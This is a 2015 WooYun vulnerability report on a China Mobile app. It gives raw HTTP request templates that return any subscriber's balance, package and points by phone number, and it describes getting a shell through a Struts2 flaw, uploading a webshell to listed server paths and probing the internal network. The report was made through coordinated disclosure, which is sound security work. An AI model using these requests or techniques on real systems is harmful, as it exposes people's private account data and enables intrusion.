当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144421

漏洞标题：中国移动某处app缺陷getshell(可内网)

相关厂商：中国移动

漏洞作者： scanf

提交时间：2015-10-01 19:06

修复时间：2015-11-24 17:06

公开时间：2015-11-24 17:06

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-01： 细节已通知厂商并且等待厂商处理中
2015-10-10： 厂商已经确认，细节仅向厂商公开
2015-10-20： 细节向核心白帽子及相关领域专家公开
2015-10-30： 细节向普通白帽子公开
2015-11-09： 细节向实习白帽子公开
2015-11-24： 细节向公众公开

简要描述：

国庆没事干,日日站.可以查询全国移动用户余额,积分,套餐信息.

详细说明：

先是因为开学了没有流量了就关注了中国移动的相关活动.
发现新出来一个流量助手.然后就有了这个漏洞.
下载流量助手.
http://**.**.**.**/gfms/app/apk/html/
安装登录后抓包
感觉可以任意登录但是burp复制中文乱码.
查询余额

POST /gfms/front/hn/busi!getRealFee HTTP/1.1
Host: **.**.**.**
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: G4Manager/2.1.0 (iPhone; iOS 8.4; Scale/3.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 114
cityCode=1234&deviceType=201&moduleId=cx_00001&phoneNumber=要查询的手机号&provinceCode=230&staPhoneNumber=要查询的手机号


把要查询的替换就行了
用这个号码试试看吧
13888888888
果真土豪

QQ截图20151001164448.png


看套餐

POST /gfms/front/hn/busi!getPackageInfo HTTP/1.1
Host: **.**.**.**
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: G4Manager/2.1.0 (iPhone; iOS 8.4; Scale/3.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 114
cityCode=1234&deviceType=201&moduleId=cx_00001&phoneNumber=要查询的手机号&provinceCode=230&staPhoneNumber=要查询的手机号


QQ截图20151001164711.png


查积分

POST /gfms/front/hn/busi!getPoints HTTP/1.1
Host: **.**.**.**
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: G4Manager/2.1.0 (iPhone; iOS 8.4; Scale/3.00)
Accept-Language: zh-Hans;q=1
Accept-Encoding: gzip, deflate
Content-Length: 114
cityCode=1234&deviceType=201&moduleId=cx_00001&phoneNumber=要查询的手机号&provinceCode=230&staPhoneNumber=要查询的手机号

漏洞证明：

然后是getshell
**.**.**.**/ctp/service/loginCase.do
打开app的时候抓到一个这个
然后存在st2
但是有负载什么的
/home/opt/tomcat-sagav333_zh_loginDevice_8090/webapps/ctp/
/home/opt/tomcat-sagav333_zh_loginDevice/webapps/ctp/
/opt/tomcat-sagav333_zh_loginDevice/webapps/ctp/
/home/opt/tomcat-sagav333_zh_loginDevice_8091/webapps/ctp/
以上4个路径都要上传一个才行.

QQ截图20151001164953.png


这个是入口
**.**.**.**/ctp/

QQ截图20151001165111.png


QQ截图20151001165335.png


QQ截图20151001165416.png


测试记录

QQ截图20151001165717.png


随便点一个看看

QQ截图20151001165848.png


QQ截图20151001170009.png


QQ截图20151001170230.png


还有其他的就不一一查看了
不能访问公网ip http代理也不行 就用了脚本看看内网的服务

QQ截图20151001170817.png


QQ截图20151001170336.png


QQ截图20151001170550.png

修复方案：

服务端验证请求的合法性.
升级框架.

版权声明：转载请注明来源 scanf@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-10-10 17:04

厂商回复：

CNVD确认所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-01 19:12 | Burn Egg ( 实习白帽子 | Rank:51 漏洞数:8 | 经验，范围，字典，思维)

    = =厉害

  2. 2015-10-01 19:16 | 不会游泳的鱼 ( 普通白帽子 | Rank:133 漏洞数:41 | 非著名白帽子)

    大牛带带我

  3. 2015-10-01 19:40 | Martial ( 普通白帽子 | Rank:1420 漏洞数:218 )

    注孤啊

  4. 2015-10-01 23:22 | 刘海哥 ( 普通白帽子 | Rank:114 漏洞数:28 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    大牛带带我

  5. 2015-10-07 11:09 | Mr.lin ( 路人 | Rank:2 漏洞数:1 | 这个人很赖。撸一撸)

    围观，我看看就好